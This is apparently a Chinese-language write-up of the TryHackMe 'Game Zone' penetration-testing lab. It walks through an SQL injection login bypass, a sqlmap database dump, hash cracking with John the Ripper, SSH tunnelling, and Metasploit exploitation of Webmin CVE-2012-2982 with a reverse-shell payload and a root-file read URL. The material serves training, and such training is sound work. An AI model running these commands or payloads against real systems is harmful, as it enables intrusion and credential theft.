【THM】offensive-Game Zone
字数 1475 2025-08-29 22:41:38

Game Zone渗透测试实战教学文档

1. 信息收集阶段

1.1 初始扫描

使用nmap进行初始扫描,发现开放端口:

  • 22端口:SSH服务
  • 80端口:HTTP服务

1.2 Web应用识别

访问80端口发现一个论坛,通过图像识别确定卡通头像为"Agent 47"。

使用Wappalyzer识别技术栈:

  • Web服务器:Apache 2.4.18
  • 后端语言:PHP
  • 操作系统:Ubuntu

1.3 漏洞研究

检查Apache 2.4.18版本未发现已知漏洞。

2. SQL注入攻击

2.1 手动SQL注入

发现用户登录表单存在SQL注入漏洞,使用以下payload绕过认证:

用户名:任意(如admin)
密码:' or 1=1; --

2.2 使用SQLMap自动化注入

  1. 使用BurpSuite拦截搜索功能请求并保存为request.txt
  2. 执行SQLMap命令:
sqlmap -r request.txt --dbms mysql --dump

参数说明:

  • -r:使用保存的请求文件
  • --dbms:指定数据库类型
  • --dump:导出整个数据库

3. 密码破解

3.1 哈希识别

使用hashidentifier工具识别哈希类型为SHA-256。

3.2 使用JohnTheRipper破解

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256

参数说明:

  • hash.txt:包含哈希值的文件
  • --wordlist:指定字典文件
  • --format:指定哈希算法

4. SSH隧道技术

4.1 套接字检查

使用ss命令检查运行中的套接字:

ss -tulpn

参数说明:

  • -t:TCP套接字
  • -u:UDP套接字
  • -l:仅监听套接字
  • -n:禁用名称解析
  • -p:显示使用套接字的进程

4.2 反向SSH隧道

发现被防火墙阻止的10000端口服务,使用SSH隧道本地访问:

ssh -L 10000:localhost:10000 <username>@<ip>

5. SSH端口转发详解

5.1 正向代理(-L)

语法:

ssh -L [local_port]:[remote_host]:[remote_port] [username]@[remote_host]

示例:

ssh -L 9000:imgur.com:80 user@example.com

5.2 反向代理(-R)

语法:

ssh -R [remote_port]:[local_host]:[local_port] [username]@[remote_host]

需要在远程服务器sshd_config中添加:

GatewayPorts yes

5.3 SOCKS5代理(-D)

语法:

ssh -D [local_port] [username]@[remote_host]

示例:

ssh -D 1080 user@example.com

5.4 优化参数

常用组合参数:

  • -C:压缩数据
  • -q:安静模式
  • -T:禁止远程分配终端
  • -n:关闭标准输入
  • -N:不执行远程命令
  • -f:后台运行

6. Webmin漏洞利用

6.1 漏洞识别

发现Webmin版本1.580,存在CVE-2012-2982漏洞。

6.2 Metasploit利用

  1. 启动msfconsole
  2. 搜索漏洞:
search webmin
search cve-2012-2982
  1. 设置参数:
set username agent47
set password videogamer124
set rhosts 127.0.0.1
set rport 10000
set payload cmd/unix/reverse
set lhost <your_ip>
set lport 4433
set SSL false
  1. 执行exploit获取root权限

6.3 直接URL利用

http://localhost:10000/file/show.cgi/root/root.txt

7. 关键命令速查表

命令 用途
' or 1=1; -- 基本SQL注入payload
sqlmap -r request.txt --dbms mysql --dump SQLMap数据库导出
john hash.txt --wordlist=rockyou.txt --format=Raw-SHA256 密码破解
ss -tulpn 检查运行中的套接字
ssh -L 10000:localhost:10000 user@ip 本地端口转发
ssh -R 10000:localhost:10000 user@ip 远程端口转发
ssh -D 1080 user@ip SOCKS5代理

8. 防御建议

  1. 对所有用户输入进行严格的验证和过滤
  2. 使用参数化查询防止SQL注入
  3. 及时更新Web服务器和应用程序
  4. 使用强密码策略并定期更换密码
  5. 限制SSH访问和端口转发功能
  6. 定期进行安全审计和漏洞扫描
Game Zone渗透测试实战教学文档 1. 信息收集阶段 1.1 初始扫描 使用nmap进行初始扫描,发现开放端口: 22端口:SSH服务 80端口:HTTP服务 1.2 Web应用识别 访问80端口发现一个论坛,通过图像识别确定卡通头像为"Agent 47"。 使用Wappalyzer识别技术栈: Web服务器:Apache 2.4.18 后端语言:PHP 操作系统:Ubuntu 1.3 漏洞研究 检查Apache 2.4.18版本未发现已知漏洞。 2. SQL注入攻击 2.1 手动SQL注入 发现用户登录表单存在SQL注入漏洞,使用以下payload绕过认证: 2.2 使用SQLMap自动化注入 使用BurpSuite拦截搜索功能请求并保存为request.txt 执行SQLMap命令: 参数说明: -r :使用保存的请求文件 --dbms :指定数据库类型 --dump :导出整个数据库 3. 密码破解 3.1 哈希识别 使用hashidentifier工具识别哈希类型为SHA-256。 3.2 使用JohnTheRipper破解 参数说明: hash.txt :包含哈希值的文件 --wordlist :指定字典文件 --format :指定哈希算法 4. SSH隧道技术 4.1 套接字检查 使用 ss 命令检查运行中的套接字: 参数说明: -t :TCP套接字 -u :UDP套接字 -l :仅监听套接字 -n :禁用名称解析 -p :显示使用套接字的进程 4.2 反向SSH隧道 发现被防火墙阻止的10000端口服务,使用SSH隧道本地访问: 5. SSH端口转发详解 5.1 正向代理(-L) 语法: 示例: 5.2 反向代理(-R) 语法: 需要在远程服务器sshd_ config中添加: 5.3 SOCKS5代理(-D) 语法: 示例: 5.4 优化参数 常用组合参数: -C :压缩数据 -q :安静模式 -T :禁止远程分配终端 -n :关闭标准输入 -N :不执行远程命令 -f :后台运行 6. Webmin漏洞利用 6.1 漏洞识别 发现Webmin版本1.580,存在CVE-2012-2982漏洞。 6.2 Metasploit利用 启动msfconsole 搜索漏洞: 设置参数: 执行exploit获取root权限 6.3 直接URL利用 7. 关键命令速查表 | 命令 | 用途 | |------|------| | ' or 1=1; -- | 基本SQL注入payload | | sqlmap -r request.txt --dbms mysql --dump | SQLMap数据库导出 | | john hash.txt --wordlist=rockyou.txt --format=Raw-SHA256 | 密码破解 | | ss -tulpn | 检查运行中的套接字 | | ssh -L 10000:localhost:10000 user@ip | 本地端口转发 | | ssh -R 10000:localhost:10000 user@ip | 远程端口转发 | | ssh -D 1080 user@ip | SOCKS5代理 | 8. 防御建议 对所有用户输入进行严格的验证和过滤 使用参数化查询防止SQL注入 及时更新Web服务器和应用程序 使用强密码策略并定期更换密码 限制SSH访问和端口转发功能 定期进行安全审计和漏洞扫描